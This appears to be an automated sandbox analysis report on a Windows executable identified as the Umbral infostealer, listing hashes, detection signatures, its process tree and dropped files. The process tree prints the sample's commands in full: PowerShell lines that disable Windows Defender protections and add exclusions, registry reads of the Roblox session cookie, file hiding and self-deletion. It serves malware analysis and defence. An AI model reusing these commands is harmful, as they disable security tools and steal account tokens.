Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-06-2024 20:31

General

  • Target

    7bc6b8054abd6114c35c454c071c7290_NeikiAnalytics.exe

  • Size

    231KB

  • MD5

    7bc6b8054abd6114c35c454c071c7290

  • SHA1

    c88749c113c114d0fe437f4f701b9402a6d11e92

  • SHA256

    4641bea6ae464a8c278a7e0529f754c08f60edc46ecf63b5b4c8775df8c54649

  • SHA512

    4a0cdc2e0b86cacb92f684faec19764882653e75d7d66c37e9da0dec08b6beaadea432c161f1eda9e596ff14bea88c42af51c6837c954b3d3252beebd85991fe

  • SSDEEP

    6144:RloZM+rIkd8g+EtXHkv/iD4vTIgiAfbofxUyzzq2Ab8e1mT8Ti:joZtL+EP8vTIgiAfbofxUyzzqzK9

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\7bc6b8054abd6114c35c454c071c7290_NeikiAnalytics.exe
    "C:\Users\Admin\AppData\Local\Temp\7bc6b8054abd6114c35c454c071c7290_NeikiAnalytics.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4920
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4756
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\7bc6b8054abd6114c35c454c071c7290_NeikiAnalytics.exe"
      2⤵
      • Views/modifies file attributes
      PID:3900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7bc6b8054abd6114c35c454c071c7290_NeikiAnalytics.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3204
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5012
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4408
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3332
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:4056
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1964
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1376
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4636
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\7bc6b8054abd6114c35c454c071c7290_NeikiAnalytics.exe" && pause
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3836
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • Runs ping.exe
            PID:5036

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6d3e9c29fe44e90aae6ed30ccf799ca8

        SHA1

        c7974ef72264bbdf13a2793ccf1aed11bc565dce

        SHA256

        2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

        SHA512

        60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        948B

        MD5

        985b3105d8889886d6fd953575c54e08

        SHA1

        0f9a041240a344d82bac0a180520e7982c15f3cd

        SHA256

        5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

        SHA512

        0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        88be3bc8a7f90e3953298c0fdbec4d72

        SHA1

        f4969784ad421cc80ef45608727aacd0f6bf2e4b

        SHA256

        533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

        SHA512

        4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        1KB

        MD5

        ec79fae4e7c09310ebf4f2d85a33a638

        SHA1

        f2bdd995b12e65e7ed437d228f22223b59e76efb

        SHA256

        e9c4723a5fe34e081c3d2f548a1d472394cc7aa58056fcf44ca542061381243a

        SHA512

        af9dda12f6bb388d826fe03a4a8beed9bda23a978aa55a2af6a43271660ee896a7ee3bcf2c4d2f1e6180902791d8c23560f1c2ec097a501d8c6f4f6c49075625

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0vgenl2h.4qn.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4920-1-0x0000026DFD670000-0x0000026DFD6B0000-memory.dmp

        Filesize

        256KB

      • memory/4920-34-0x0000026DFFDB0000-0x0000026DFFE26000-memory.dmp

        Filesize

        472KB

      • memory/4920-91-0x00007FFC198A0000-0x00007FFC1A361000-memory.dmp

        Filesize

        10.8MB

      • memory/4920-73-0x0000026DFFE50000-0x0000026DFFE62000-memory.dmp

        Filesize

        72KB

      • memory/4920-2-0x00007FFC198A0000-0x00007FFC1A361000-memory.dmp

        Filesize

        10.8MB

      • memory/4920-0-0x00007FFC198A3000-0x00007FFC198A5000-memory.dmp

        Filesize

        8KB

      • memory/4920-35-0x0000026DFFB10000-0x0000026DFFB60000-memory.dmp

        Filesize

        320KB

      • memory/4920-72-0x0000026DFFAC0000-0x0000026DFFACA000-memory.dmp

        Filesize

        40KB

      • memory/4920-36-0x0000026DFFAE0000-0x0000026DFFAFE000-memory.dmp

        Filesize

        120KB

      • memory/4924-14-0x00007FFC198A0000-0x00007FFC1A361000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-13-0x00000223EE4F0000-0x00000223EE512000-memory.dmp

        Filesize

        136KB

      • memory/4924-15-0x00007FFC198A0000-0x00007FFC1A361000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-19-0x00007FFC198A0000-0x00007FFC1A361000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-12-0x00007FFC198A0000-0x00007FFC1A361000-memory.dmp

        Filesize

        10.8MB

      • memory/4924-18-0x00000223EE0D0000-0x00000223EE2EC000-memory.dmp

        Filesize

        2.1MB